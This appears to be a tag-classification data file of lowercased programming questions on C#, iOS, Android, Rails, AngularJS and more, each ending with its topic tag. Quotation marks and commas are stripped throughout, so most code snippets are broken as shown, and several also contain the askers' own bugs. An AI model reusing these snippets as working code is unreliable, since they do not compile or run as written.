directory.move causes a postback in asp.net  under a button event inside an updatepanel  i would like to rename a folder:   <pre><code>directory.move(oldf  newf); </code></pre>   i checked the physical folders: the old folder is renamed with the new folder. however  it will cause a postback...     step into: stepping over non-user code    <pre><code> system.web.ui.webcontrols.button.raisepostbackevent  step into: stepping over non-user code  system.web.ui.page.raisepostbackevent  step into: stepping over non-user code  system.web.ui.page.processrequestmain  </code></pre>   if i remove that line then it does not.    is this always a case with directory.move  or any other better way     i also tried to use:   <pre><code>system.io.directoryinfo di = new system.io.directoryinfo(oldf); di.moveto(newf); </code></pre>   but then the folder is not renamed...,asp.net
saving a string with variables into file c#  hello i m trying to save a big string into a file   <pre><code>string _ulswcalc =  1.35 *   + _gd +  + 1.5 *   + _wd +  1.5 *   + _qd   * 0.8 ; file.writealllines( c:\\aab.txt   _ulswcalc); </code></pre>   <code>_gd</code> <code>_wd</code> and <code>_qd</code> are all variables and out of the   . they are all well defined and the program works without the <code>file.writealllines</code> line    but if i place it i get these 2 error   <blockquote>    error 2   argument 2: cannot convert from  string  to  system.collections.generic.ienumerable         error 1   the best overloaded method match for  system.io.file.writealllines(string  system.collections.generic.ienumerable)  has some invalid arguments    </blockquote>,c#
purpose of using alloc in objective c  what is the difference between    <pre><code> nsnumber *number = [[nsnumber alloc]initwithint:13]; </code></pre>   and   <pre><code>nsnumber *number = [nsnumber initwithint:13]; </code></pre>   why alloc when both solves the same purpose,objective-c
faster scrolling background  i am developing a (vertical) scrolling shooter app for android. everything is working fine  its fast and smooth... but so far it just has a black background. i wanted to make a scrolling background by creating a very tall bitmap of the background  and show a part of it using code like this:   <pre><code>canvas.drawbitmap(background_bitmap  sample_rect  fullscreen_rect  null); </code></pre>   where the sample_rect gets moved along as the game progresses. the code works  but the frame rate has now plummeted and is no longer smooth.    i can think of some possible ways to do this better  but it seems silly to reinvent the wheel if there is a standard method that everyone uses. any suggestions      <strong>edit:</strong> by the way the image is not a simple pattern that i can implement with small tiles.    <strong>edit:</strong> should i be employing bitmapshader  should i resize my bitmap to match the screen before the game starts,android
turning a local variable into a private variable breaks my c# code  in my console application i have a local variable that s working fine    the moment i make it a private variable to the class  i can t compile  because it says - an object reference is required for the non static member or property     any ideas what could be the reason  this is the first time i ve seen this.,c#
develop native applications and load application onto iphone/ipod  it is possible to  develop native applications and load application onto iphone/ipod devices before paying a apple developer connection membership fee if anybody knows please give me some idea about that.,iphone
if a column has a default  is a not null constraint redundant   for example...   <pre><code>create table phone (     id            integer primary key      country_code  integer not null default 1      area_code     integer not null      number        integer not null ); </code></pre>   can i safely remove the <code>not null</code> from <code>country_code</code>   it s messing with my orm s validation which thinks <code>country_code</code> must be defined.,sql
stubborn  debug assertion failed  error in c++  so i ve scoured the internet trying to fix this problem but nothing seems to work. i m a student taking a c++ class so excuse my ignorance.    as the title says i keep getting an error box that goes like this     debug assertion failed! program: i:(filepath)    file: f:(filepath)<br> line: 52    expression: (stream != null)     i think it has something to do with the pointers  but i don t know... my buddies have all used this exact code so i m starting to think god hates me    sorry if i did anything wrong in my question    here s my code   <pre><code> #include &lt;math.h&gt;  #include &lt;stdio.h&gt;  #include &lt;stdlib.h&gt;   #define nrow 7  #define ncol 8  #define filein  input_practice.txt   #define fileout  output_practice.txt    void gj(double a[nrow][ncol]);  void pivot(double a[nrow][ncol]  int j);  void norm (double a[nrow][ncol]  int j);  void diag (double a[nrow][ncol]  int j);  void swap(double *x  double *y);  void main()  { //define variables double a[nrow][ncol];  int i  j; file *filein_ptr; file *fileout_ptr;  //open files filein_ptr=fopen(filein  r ); fileout_ptr=fopen(fileout  w );  //get input from file for (j=0; j&lt;nrow; j++) {     for (i=0; i&lt;ncol; i++)     {     fscanf(filein_ptr  %lf  &amp;a[j][i]);     } } //run gauss-jordan gj(a);  //output fprintf(fileout_ptr  solution matrix:\n ); for (j=0; j&lt;nrow; j++) {     for (i=0; i&lt;ncol; i++)     {         fprintf(fileout_ptr  %lf  a[i][j]);         fprintf(fileout_ptr    );     } fprintf(fileout_ptr  \n ); }  //close files fclose(filein_ptr); fclose(fileout_ptr); }    void gj(double a[nrow][ncol]) {    //run it int j; for (j=0;j&lt;nrow;j++) {     pivot(a j);     norm(a j);     diag(a j); } } void pivot(double a[nrow][ncol]  int j) { int maxrow=j i; //find max values for (i=j; i &lt; nrow ; i++) {     if ( fabs(a[i][j]) &gt; fabs(a[maxrow][j]))     {   maxrow=i;     } } if (maxrow != 0) {     for (i=j; i &lt; ncol; i++)     {         swap(&amp;a[j][i] &amp;a[maxrow][i]);     }  } }   void norm (double a[nrow][ncol]  int j) {    //temp double temp=a[j][j]; int i; //normalize for(i=j; i &lt; ncol ; i++) {   a[j][i] = (a[j][i] / temp); } }  void diag (double a[nrow][ncol]  int j) { //define double temp; int i k; //diagonalize for(i = 0; i &lt; nrow; i++) {     if(i != j)     {         temp = a[i][j];         for(k=j; k &lt; ncol; k++)         {             a[i][k]= a[i][k] - (temp * a[j][k]);         }     } } } void swap(double *x  double *y) { //swap double z;     z=*x;     *x=*y;     *y=z; } </code></pre>,c++
multiple input in single cell  i saw this question answered already  but in a different instance which then got some advice as well as the necessary information. the context for mine vs the other s is quite different i believe.    my ambition is to make a kind of dictionary which would contain 3 tables types:    <strong>table 1</strong>: main dictionary which contains all of my entries    contains the primary key integer; english word; chinese word; topic (ie.  animals  food  etc - and this is where i want to have multiple entries for a single cell  since some words will be viable for multiple topics); part of speech (verb  noun  etc); determiner boolean; determiner (if boolean is true it would contain a string  if false it would have a null value); date added; difficulty rating    <strong>table 2 (group)</strong>: each topic would have its own table according to the topic: animals  food  measuring  etc.     this table would include a counting integer or table key; english word; chinese word; the part of speech it belongs to; a counter (how many times it s used in my application).    <strong>table 3 (group)</strong>: parts of speech tables. each table would be named after its particular branch of speech. nounproper  nouncommon  actionverb  etc.    would contain an integer key; english word; chinese word    the purpose of this database is to feed a sentence generating program that can have vocabulary and topic tables added as i progress. should i  in table 1  make multiple entries in cells when they span multiple topics  or should i leave that out altogether and simply assemble the table in a query rather than in the db table itself,mysql
how to set background image in css  i have set a of the whole body in css  but when you scroll down  the image ends and repeats again. is there a way to make it so the image doesn t scroll with the page,css
how to set type face from xml  i know to set typeface from coding like below.   <pre><code>type1=typeface.createfromasset(getassets()  fonts/helveticaneueltstd-bd.otf ); text.settpeface(type1); </code></pre>   but it is difficult to me to set typeface if i have more text views.how can i set the typeface  from xml instead of from coding.,android
tooltip like control on the div  does anyone know how to create a tooltip on the div. on my page  i have 4 div and i want every time  the user mouse over on a div  it will show down the tooltip from the top and after few seconds the tooltip will be automatically hidden..    thanks,css
uiview or uiimage in a uitableview  what s better for performance  i have a uitableview where we want to just put a colored square.  depending on the data in the uitableviewcell  the uiview changes its background color.  that s the way it currently is.  to me  it seems better to just have a uiimageview and have a .png image for the different color squares  and load the correct one per cell depending on the data in the uitableviewcell.  i m not sure which method is better  or if there is an even better method i do not know of.  any thoughts   thanks.,iphone
pass data share global variable singleton   i have a uitabbarcontroller with three uinavigationcontrollers.and each navigation controllers has a uitableviewcontroller as rootviewcontroller. it s a typical design in many apps.now i want to share a object between these three uitableviewcontroller in their uinavigationcontrollers.i have the following ideas:   <ol> <li> in uitabbarviewcontroller  i can declare a property maybe  strong .each uitableviewcontroller can access to the object use<code>self.tabbarcontroller.object</code> </li> <li> create a singleton that keeps this object. but it may cause singleton abuse.some topic advise use dependency injection to avoid the abuse.but it seems it could not satisfy my requirement. </li> <li> make the object a global variable.i really do not want to take this method. </li> </ol>   i prefer to use method 1. any ideas about the data passing,ios
error running rake test on ror tutorial 3rd edition chapter 7  i am having trouble getting my rake tests to run green while doing chapter 7 of the 3rd edition of ruby on rails tutorial.    the code of the affected files are below.   <pre><code>error[ test_should_get_new   userscontrollertest  3.036159469]  test_should_get_new#userscontrollertest (3.04s) actionview::template::error:         actionview::template::error: undefined method `users_path      for #&lt;#&lt;class:0x00000007294440&gt;:0x000000072a7f18&gt;             app/views/users/new.html.erb:6:in     `_app_views_users_new_html_erb__951977753260241405_60205740              test/controllers/users_controller_test.rb:5:in `block in &lt;class:userscontrollertest&gt;          app/views/users/new.html.erb:6:in     `_app_views_users_new_html_erb__951977753260241405_60205740      test/controllers/users_controller_test.rb:5:in `block in &lt;class:userscontrollertest&gt;   error[ test_layout_links   sitelayouttest  4.296022857]  test_layout_links#sitelayouttest (4.30s) actionview::template::error:         actionview::template::error: undefined method `users_path  for #&lt;#&lt;class:0x00000007294440&gt;:0x00000007aebd78&gt;         app/views/users/new.html.erb:6:in `_app_views_users_new_html_erb__951977753260241405_60205740          test/integration/site_layout_test.rb:12:in `block in &lt;class:sitelayouttest&gt;      app/views/users/new.html.erb:6:in `_app_views_users_new_html_erb__951977753260241405_60205740      test/integration/site_layout_test.rb:12:in `block in &lt;class:sitelayouttest&gt;   error[ test_invalid_signup_information   userssignuptest  4.432177815]  test_invalid_signup_information#userssignuptest (4.43s) actionview::template::error:         actionview::template::error: undefined method `users_path  for #&lt;#&lt;class:0x00000007294440&gt;:0x00000007bbb1e0&gt;         app/views/users/new.html.erb:6:in `_app_views_users_new_html_erb__951977753260241405_60205740          test/integration/users_signup_test.rb:6:in `block in &lt;class:userssignuptest&gt;      app/views/users/new.html.erb:6:in `_app_views_users_new_html_erb__951977753260241405_60205740      test/integration/users_signup_test.rb:6:in `block in &lt;class:userssignuptest&gt;   error[ test_valid_signup_information   userssignuptest  4.510334368]  test_valid_signup_information#userssignuptest (4.51s) actionview::template::error:         actionview::template::error: undefined method `users_path  for #&lt;#&lt;class:0x00000007294440&gt;:0x00000005dc3b10&gt;         app/views/users/new.html.erb:6:in `_app_views_users_new_html_erb__951977753260241405_60205740          test/integration/users_signup_test.rb:17:in `block in &lt;class:userssignuptest&gt;      app/views/users/new.html.erb:6:in `_app_views_users_new_html_erb__951977753260241405_60205740      test/integration/users_signup_test.rb:17:in `block in &lt;class:userssignuptest&gt;   18/18: [==================================================] 100% time: 00:00:04  time: 00:00:04  finished in 4.83507s 18 tests  32 assertions  0 failures  4 errors  0 skips </code></pre>   <strong>my new.html.erb file</strong>   <pre><code> &lt;% provide(:title   sign up ) %&gt; &lt;h1&gt;sign up&lt;/h1&gt;  &lt;div class= row &gt;   &lt;div class= col-md-6 col-md-offset-3 &gt;     &lt;%= form_for(@user) do |f| %&gt;       &lt;%= render  shared/error_messages  %&gt;        &lt;%= f.label :name %&gt;       &lt;%= f.text_field :name  class:  form-control  %&gt;        &lt;%= f.label :email %&gt;       &lt;%= f.text_field :email  class:  form-control  %&gt;        &lt;%= f.label :password %&gt;       &lt;%= f.password_field :password  class:  form-control  %&gt;        &lt;%= f.label :password_confirmation   confirmation  %&gt;       &lt;%= f.password_field :password_confirmation  class:  form-control  %&gt;        &lt;%= f.submit  create my account   class:  btn btn-primary  %&gt;     &lt;% end %&gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>   <strong>my users_controllers_test file</strong>   <pre><code>require  test_helper   class userscontrollertest &lt; actioncontroller::testcase   test  should get new  do     get :new     assert_response :success   end  end </code></pre>   <strong>site_layout_test</strong>   <pre><code>require  test_helper   class sitelayouttest &lt; actiondispatch::integrationtest    test  layout links  do     get root_path     assert_template  static_pages/home      assert_select  a[href= ]   root_path  count: 2     assert_select  a[href= ]   help_path     assert_select  a[href= ]   about_path     assert_select  a[href= ]   contact_path     get signup_path     assert_select  title   full_title( sign up )   end end </code></pre>   <strong>my user_signup_test</strong>   <pre><code>require  test_helper   class userssignuptest &lt; actiondispatch::integrationtest    test  invalid signup information  do     get signup_path     assert_no_difference  user.count  do       post users_path  user: { name:                                 email:  user@invalid                              password:               foo                              password_confirmation:  bar  }     end     assert_template  users/new    end    test  valid signup information  do     get signup_path     name     =  example user      email    =  user@example.com      password =  password      assert_difference  user.count   1 do       post_via_redirect users_path  user: { name:  name                                          email: email                                          password:              password                                          password_confirmation: password }     end     assert_template  users/show    end end </code></pre>   <strong>and finally my custom.css file</strong>   <pre><code>@import  bootstrap-sprockets ; @import  bootstrap ;  /* mixins  variables  etc. */  $gray-medium-light: #eaeaea;  @mixin box_sizing {   -moz-box-sizing:    border-box;   -webkit-box-sizing: border-box;   box-sizing:         border-box; }  /* universal */  html {   overflow-y: scroll; }  body {   padding-top: 60px; }  section {   overflow: auto; }  textarea {   resize: vertical; }  .center {   text-align: center;   h1 {     margin-bottom: 10px;   } }  /* typography */  h1  h2  h3  h4  h5  h6 {   line-height: 1; }  h1 {   font-size: 3em;   letter-spacing: -2px;   margin-bottom: 30px;   text-align: center; }  h2 {   font-size: 1.2em;   letter-spacing: -1px;   margin-bottom: 30px;   text-align: center;   font-weight: normal;   color: $gray-light; }  p {   font-size: 1.1em;   line-height: 1.7em; }   /* header */  #logo {   float: left;   margin-right: 10px;   font-size: 1.7em;   color: white;   text-transform: uppercase;   letter-spacing: -1px;   padding-top: 9px;   font-weight: bold;   &amp;:hover {     color: white;     text-decoration: none;   } }  /* footer */  footer {   margin-top: 45px;   padding-top: 5px;   border-top: 1px solid $gray-medium-light;   color: $gray-light;   a {     color: $gray;     &amp;:hover {       color: $gray-darker;     }   }   small {     float: left;   }   ul {     float: right;     list-style: none;     li {       float: left;       margin-left: 15px;     }   } }  /* miscellaneous */  .debug_dump {   clear: both;   float: left;   width: 100%;   margin-top: 45px;  @include box_sizing; }     /* sidebar */  aside {   section.user_info {     margin-top: 20px;   }   section {     padding: 10px 0;     margin-top: 20px;     &amp;:first-child {       border: 0;       padding-top: 0;     }     span {       display: block;       margin-bottom: 3px;       line-height: 1;     }     h1 {       font-size: 1.4em;       text-align: left;       letter-spacing: -1px;       margin-bottom: 3px;       margin-top: 0px;     }   } }  .gravatar {   float: left;   margin-right: 10px; }  .gravatar_edit {   margin-top: 15px; }  /* forms */  input  textarea  select  .uneditable-input {   border: 1px solid #bbb;   width: 100%;   margin-bottom: 15px;   @include box_sizing; }  input {   height: auto !important; }  #error_explanation {   color: red;   ul {     color: red;     margin: 0 0 30px 0;   } }  .field_with_errors {   @extend .has-error;   .form-control {     color: $state-danger-text;   } } </code></pre>   if anyone can shed some light onto my error i would be grateful,ruby-on-rails
angular  login state  and conditional includes  my index.html looks like this:   <pre><code>&lt;div ng-include src=  common/header.html  &gt;&lt;/div&gt;&lt;/div&gt; &lt;div id= view  ng-view&gt;&lt;/div&gt;  </code></pre>   however  i don t want the header.html to show up when the user is not logged in. <code>authenticationservice.isloggedin()</code> is available to use. how do i make this work     do i need to broadcast the login event from the <code>logincontroller</code> so that <code>headerincludecontroller</code> can update itself or something  seems really messy...,angularjs
cross domain authentication  client have a site built using wordpress.  we have built a web app for them in asp.net on a subdomain.  client now wants a login to the .net web app on the homepage of their wordpress site.<br> obviously this needs to be secure.    how would this cross domain auth usually be performed     can it be done in an iframe or is some other method preferred>    thanks    wing,asp.net
how to check if a date is between two dates   how to start date and end date comparing in iphone sdk code     example:->   <pre><code>if ([nowdate compare:racestartdate] == nsordereddescending &amp;&amp; [nowdate compare:raceenddate] == nsorderedascending) {    } </code></pre>,objective-c
how to use pqdict with instances in python  i am working on my homework and have a problem. i am trying to run:     for move in next_moves:    new_state = copy.deepcopy(state)   <pre><code>            new_state.domove(move)              print(new_state)              pq[new_state] = self.utility(new_state) </code></pre>   new_state is an instance of the class amazons_board. anyway i get the error:     exception in thread thread-4:    traceback (most recent call last):    file  c:\python34\lib\threading.py   line 921  in _bootstrap_inner   <pre><code>self.run() </code></pre>   file  c:\python34\lib\threading.py   line 869  in run   <pre><code>self._target(*self._args  **self._kwargs) </code></pre>   file  c:\users\eli\workspace\hw2\amazons\utils.py   line 36  in     function_wrapper   <pre><code>result = func(*args  **kwargs) </code></pre>   file  c:\users\eli\workspace\hw2\amazons\utils.py   line 159  in search   <pre><code>pq[new_state] = self.utility(new_state) </code></pre>   file  c:\anaconda3\lib\site-packages\pqdict__init__.py   line 168  in     <strong>setitem</strong>   <pre><code>pos = position[key] </code></pre>   file  c:\users\eli\workspace\hw2\amazons\amazons_board.py   line 95  in     <strong>hash</strong>   <pre><code>return hash(   .join(self.board) + self.curr_player) </code></pre>   typeerror: sequence item 0: expected str instance  list found    when i remove the last line (pq[new_state] = self.utility(new_state))  there is no error  so the error is in this line. how can i use pqdict with instances      by the way i can do it with other sort. is it worth working with other sort     thanks in advance   eli borodach,python
issue with textfields and scrollview  i am observing a weird behavior in my app: my app contains multiple textfields in a scrollview. now when i click on one textfield to modify it  my  textfielddidbeginediting  is called and if i click on return key of my keyboard  textfielddidendediting  is called and during these operations i am getting my full view in perfect frame of scrollview.  but problem comes when instead of return button  i click on another textfield in my view then strangely my  textfielddidendediting  is not called and some of my view in scrollview is not scrollable. something happened to my scrollview s frame. any clue,iphone
company s app distribution to the company s customers  i would like to distribute an application where only registered and paying customers of our company can have access to. the app would be distributed in the app store for free and users would have to log in with the registered details to use the application.     the problem is that the app will have certain amount of functionality based on what the registered customers have paid us. for example customer a paid us $500 for the registration and hence he will have the full functionality of this application. on the other hand customer b paid us $250 and this customer will only have half of the functionality of this application.     is my company allowed to do this,iphone
how to create a class(es) for storing multi-level data   i need to store multi-level data for a flash card app i m writing and i could use some help figuring out 1) how to manage the data and 2) how to store it.    the data is broken down like this: a) card contains 2 strings b) pack contains a string  packname  and an array of cards c) deck contains a string  deckname  and an array of packs    right now i have 3 classes: card  pack  deck.   <pre><code>//card.h @interface card : nsobject {     nsstring        *primaryphrase;     nsstring        *secondaryphrase; } @property (nonatomic retain)nsstring        *primaryphrase; @property (nonatomic retain)nsstring        *secondaryphrase; @end   card.m @implementation card @synthesize primaryphrase; @synthesize secondaryphrase; -(id)init{     if(self=[super init]){     }     return self; } @end  pack.h @interface pack : nsobject{     nsstring        *packname;     nsmutablearray  *cards; //array of card classes     bool            isinuse; } @property (nonatomic retain)nsmutablearray  *cards; @property (nonatomic retain)nsstring        *packname; @property (nonatomic assign)bool            isinuse; @end  pack.m @implementation pack @synthesize packname; @synthesize cards; @synthesize isinuse; -(id)init{     if(self=[super init]){         self.isinuse=yes;     }     return self; } @end  deck.h @interface deck : nsobject &lt;nscoding&gt;{     nsstring        *deckname;     nsmutablearray  *packs; //array of pack classes     nsstring        *primarylang;     nsstring        *secondarylang; } @property (nonatomic retain)nsmutablearray  *packs; @property (nonatomic retain)nsstring        *deckname; @property (nonatomic retain)nsstring        *primarylang; @property (nonatomic retain)nsstring        *secondarylang;  - (void) encodewithcoder:(nscoder*)encoder; - (id) initwithcoder:(nscoder*)decoder; @end  deck.m #import  deck.h  @implementation deck @synthesize packs; @synthesize deckname; @synthesize primarylang; @synthesize secondarylang;  //default settings for each new deck -(id)init{     if(self=[super init]){     }     return self; } -(void)encodewithcoder:(nscoder*)encoder{     [encoder encodeobject:packs forkey:@ packs ];     [encoder encodeobject:deckname forkey:@ deckname ];     [encoder encodeobject:primarylang forkey:@ primarylang ];     [encoder encodeobject:secondarylang forkey:@ secondarylang ]; } -(id)initwithcoder:(nscoder*)decoder{     if(self=[super init]){         packs=[decoder decodeobjectforkey:@ packs ];         deckname=[decoder decodeobjectforkey:@ deckname ];         primarylang=[decoder decodeobjectforkey:@ primarylang ];         secondarylang=[decoder decodeobjectforkey:@ secondarylang ];     }     return self; } @end </code></pre>   then i use an nsmutablearray  alldecks  to hold decks  which in turn contain cards  but i haven t even been able to get this to work (no errors  but  pack name  is always null):   <pre><code>    for(int i=0; i&lt;=2; i++){         deck *newdeck=[[deck alloc]init];         [globdat.alldecks addobject:newdeck];     }     ((deck *)[globdat.alldecks objectatindex:0]).deckname=@ deckname 0 ;     ((deck *)[globdat.alldecks objectatindex:1]).deckname=@ deckname 1 ;     ((deck *)[globdat.alldecks objectatindex:2]).deckname=@ deckname 2 ;     for(int i=0; i&lt;=2; i++){         pack *newpack=[[pack alloc] init];         [((deck *)[globdat.alldecks objectatindex:i]).packs addobject:newpack];     }     for(int j=0; j&lt;+2; j++){         ((pack *)[((deck *)[globdat.alldecks objectatindex:0]).packs objectatindex:j]).packname=@ pack name ;     }      nslog(@ *** nil sample pack name=%@  ((pack *)[((deck *)[globdat.alldecks objectatindex:0]).packs objectatindex:0]).packname);  //always returns null </code></pre>   it s pretty cumbersome to work the structure.  is this the best way to manage this data     plus  the encoding doesn t seem to save the embedded arrays (pack and card).,objective-c
invalid characters to test url  here i have to take input uri from customer. and base url is - <a href= https://mydomain.com/router/  rel= nofollow >https://mydomain.com/router/</a>    so  final url will be - <a href= https://mydomain.com/router/&lt;uri-from-customer  rel= nofollow >https://mydomain.com/router/&lt;uri-from-customer</a>>    here i have to validate the final url using -   <pre><code>java.net.url url = new java.net.url(finalurl); </code></pre>   but i was not able to test failure case. i tried with all the special characters but am not able to get malformed url exception.    following is the uri i tried with -   <pre><code> 维也纳恩斯特哈佩尔球场 &amp;&amp;&amp;   ; &gt;&lt;()!~`5%=-_}{}[]\|||    &amp;&amp; /   </code></pre>   still there is no error.    so i want to know invalid characters to fail url construction.,java
read integer untill user reaches negative integer or numbers of integer reaches upto 15  i wrote following program but it is not right. would you please assist me where i went wrong    <pre><code>#include&lt;stdio.h&gt; void main() {      int count=0 a;     do     {        scanf( %d  &amp;a);        if(a&gt;0 )        {          for(count=0;count&lt;15;count++);            else;        }        while(int&gt;=0);     } </code></pre>   so would you tell me the correct code,c
recorded audio file doesn t move   i have recorded voice file store in temp directory with .m4a format i want move that directory in document directory.   <pre><code>but i can not move it i got error.  the operation couldn’t be completed. (cocoa error 4.)  userinfo=0x7b660190 {nssourcefilepatherrorkey=file:///users/vinodjadhav/library/developer/coresimulator/devices/067a2eac-9987-4861-8746-97117dce72f2/data/containers/data/application/5744f8bc-4256-4010-8a14-60b228859f88/tmp/14-11-201410:32:45.m4a  nsuserstringvariant=(     move )  nsfilepath=file:///users/vinodjadhav/library/developer/coresimulator/devices/067a2eac-9987-4861-8746-97117dce72f2/data/containers/data/application/5744f8bc-4256-4010-8a14-60b228859f88/tmp/14-11-201410:32:45.m4a  nsdestinationfilepath=/users/vinodjadhav/library/developer/coresimulator/devices/067a2eac-9987-4861-8746-97117dce72f2/data/containers/data/application/5744f8bc-4256-4010-8a14-60b228859f88/documents/xpensetag/xpenses/sagar/823564440/audio/audio.m4a  nsunderlyingerror=0x7b660250  the operation couldn’t be completed. no such file or directory } </code></pre>   <strong>this my dest url</strong>   <pre><code>dest url = /users/vinodjadhav/library/developer/coresimulator/devices/067a2eac-9987-4861-8746-97117dce72f2/data/containers/data/application/5744f8bc-4256-4010-8a14-60b228859f88/documents/xpensetag/xpenses/sagar/823564440/audio/audio.m4a </code></pre>   <strong>this my source file url</strong>    source url = file:///users/vinodjadhav/library/developer/coresimulator/devices/067a2eac-9987-4861-8746-97117dce72f2/data/containers/data/application/5744f8bc-4256-4010-8a14-60b228859f88/tmp/14-11-201410:32:45.m4a   <pre><code> -(void)moveaudiofilefromesource:(nsstring *)sourceurl todest:(nsstring *)desturl   {     nslog(@ source url = %@   sourceurl);     nserror *error;     if (![[nsfilemanager defaultmanager] moveitematpath:sourceurl topath:desturl             error:&amp;error])     {         nslog(@ could not remove old files. error:%@  error);     }     } </code></pre>   where am i wrong,ios
cannot import modules xlrd  rpy2 on anaconda  i have an anaconda python 2.7 installation that works well at importing most modules. however  i cannot install and import modules such as xlrd and rpy2. would appreciate any help.,python
how to specify localized property list   i have an ios application which is calling a rest web service. i have created a property list file in my app which contains a dictionary of error codes that will be returned by the server and a corresponding message to show.     i am thinking of having multiple property list files for different languages.    how can i make the app to pick up a specific property list based on locale,ios
how do i in angularjs add two different events to a dom depending if is mobile or not  i am trying to rewrite my application from being based on a ton of jquery widgets to use angularjs. i am however having trouble finding the best solution to the following problem.    i have an image  which will show an overlay when hovering. to make it work on mobile devices  i instead use a click event to display the hover and to remove it again.    in jquery i would look at the useragent and then either add a click event for mobile devices  or for other devices user regular hover effect.    what is the correct way of doing this in angularjs  without having to use jquery,angularjs
add back button to toolbar in ios  is there some way to add a button (not in a navigation view or something like that) that will perform <code>back</code> (meaning  going back to the previous view before the last segue) in an ios app      it doesn t have the shape of a back button (it will be fine with simply the word <code> back </code> on it).     i want to put something like that in a bottom toolbar.     thanks.,ios
when i try to run my code i get that error  ld: 1 duplicate symbol for architecture i386   d /users/syedmatloob/library/developer/xcode/deriveddata/siptabapp-augbivszmspykvenplsxyvefxkjw/build/products/debug-iphonesimulator/siptabapp.app/siptabapp normal i386     cd /users/syedmatloob/documents/siptabapp     setenv iphoneos_deployment_target 4.3     setenv path  /applications/xcode.app/contents/developer/platforms/iphonesimulator.platform/developer/usr/bin:/applications/xcode.app/contents/developer/usr/bin:/usr/bin:/bin:/usr/sbin:/sbin      /applications/xcode.app/contents/developer/toolchains/xcodedefault.xctoolchain/usr/bin/clang -arch i386 -isysroot /applications/xcode.app/contents/developer/platforms/iphonesimulator.platform/developer/sdks/iphonesimulator6.1.sdk -l/users/syedmatloob/library/developer/xcode/deriveddata/siptabapp-augbivszmspykvenplsxyvefxkjw/build/products/debug-iphonesimulator -l/users/syedmatloob/documents/siptabapp/liblinphone-sdk/apple-darwin/lib -l/users/syedmatloob/documents/siptabapp/liblinphone-sdk/apple-darwin/lib/mediastreamer/plugins -f/users/syedmatloob/library/developer/xcode/deriveddata/siptabapp-augbivszmspykvenplsxyvefxkjw/build/products/debug-iphonesimulator -filelist /users/syedmatloob/library/developer/xcode/deriveddata/siptabapp-augbivszmspykvenplsxyvefxkjw/build/intermediates/siptabapp.build/debug-iphonesimulator/siptabapp.build/objects-normal/i386/siptabapp.linkfilelist -xlinker -objc_abi_version -xlinker 2 -fobjc-link-runtime -xlinker -no_implicit_dylibs -mios-simulator-version-min=4.3 -framework uikit -framework foundation -framework coregraphics -framework mediaplayer -framework security -framework quartzcore -lxml2 -framework corelocation -framework cfnetwork -framework messageui -lsqlite3.0 -framework avfoundation -framework addressbook -framework addressbookui -framework audiotoolbox -framework coredata -framework systemconfiguration -lavcodec -lavutil -lbcg729 -lcrypto -lexosip2 -lgsm -lilbc -llinphone -lmediastreamer -lopencore-amrnb -lopencore-amrwb -lortp -losip2 -losipparser2 -lskp_silk_sdk -lspeex -lspeexdsp -lsrtp -lssl -lswscale -lvpx -lx264 -lzrtpcpp -lmsamr -lmsbcg729 -lmsilbc -lmssilk -lmsx264 -lresolv -framework coretelephony -framework opengles -framework coremedia -framework corevideo -o /users/syedmatloob/library/developer/xcode/deriveddata/siptabapp-augbivszmspykvenplsxyvefxkjw/build/products/debug-iphonesimulator/siptabapp.app/siptabapp    duplicate symbol _secure_button_tag in:     /users/syedmatloob/library/developer/xcode/deriveddata/siptabapp-augbivszmspykvenplsxyvefxkjw/build/intermediates/siptabapp.build/debug-iphonesimulator/siptabapp.build/objects-normal/i386/incallviewcontroller.o     /users/syedmatloob/library/developer/xcode/deriveddata/siptabapp-augbivszmspykvenplsxyvefxkjw/build/intermediates/siptabapp.build/debug-iphonesimulator/siptabapp.build/objects-normal/i386/incallvc.o ld: 1 duplicate symbol for architecture i386 clang: error: linker command failed with exit code 1 (use -v to see invocation),iphone
checkboxes like radio-buttons in angular and ionic  i have a list of ionic checkboxes  if i click one i want the others to be deselected. here is an example of the list :    <pre><code> &lt;ion-checkbox  ng-model= creditcard  ng-change= p_method() &gt;             credit card  &lt;/ion-checkbox&gt;  &lt;ion-checkbox  ng-model= cash  ng-change= p_method() &gt;             cash  &lt;/ion-checkbox&gt;  &lt;ion-checkbox  ng-model= check  ng-change= p_method() &gt;             check  &lt;/ion-checkbox&gt; </code></pre>   in my controller i started writing something like this:   <pre><code>  function p_method(){      $scope.creditcard = $scope.creditcard === true   false : true;      $scope.cash = $scope.cash === true   false : true;      $scope.check = $scope.check === true   false : true;        ...........     } </code></pre>   edit:    i could use radio-buttons but they can’t be all deselected.,angularjs
cancelling a javascript event from a uiwebviewdelegate  before i deem my weak-long custom re-implementation of uitextview (using an uiwebview in designmode) useless  is there any way to handle/cancel javascript onkeyup  etc. events     afaik there is only messaging via -shouldloadrequest: &amp;  stringbyevaluatingscriptwithstring:. however  these calls are asynchronous and the javascript event handler has already exited it s function by the time stringbyevaluatingscriptwithstring: is performed thus event cancellation methods do not work.    if not for this capability  implementing shouldreplacecharactersinstring: seems impossible. :(,ios
asp.net: how to avoid parsing part of a page  i have a section in an asp.net page that has some &lt;% and %> that i do not want the asp.net compiler to process. <strong>how can i specify a section to not be parsed </strong>,asp.net
google play store console  how to edit what is new section   in the new google play store console  how to edit what is new section  after app has been  rolled out,android
use multiple instructions in one regexp(js)  i have:   <pre><code>var mytext = &lt; input &gt; </code></pre>   i want to cut the string down to only <strong>input</strong>. is possible to define a regular expression  which does this  i know how to get rid of the <strong>&lt; </strong>   <pre><code>mytext = mytext.replace(/&lt; / g   ) </code></pre>   but what about the end of the line  of course i could just write another regular expression  like this:   <pre><code>mytext = mytext.replace(/&lt; / g   ).replace(/ &gt;/ g   ) </code></pre>   but i´m sure there is an easier way  right  :),javascript
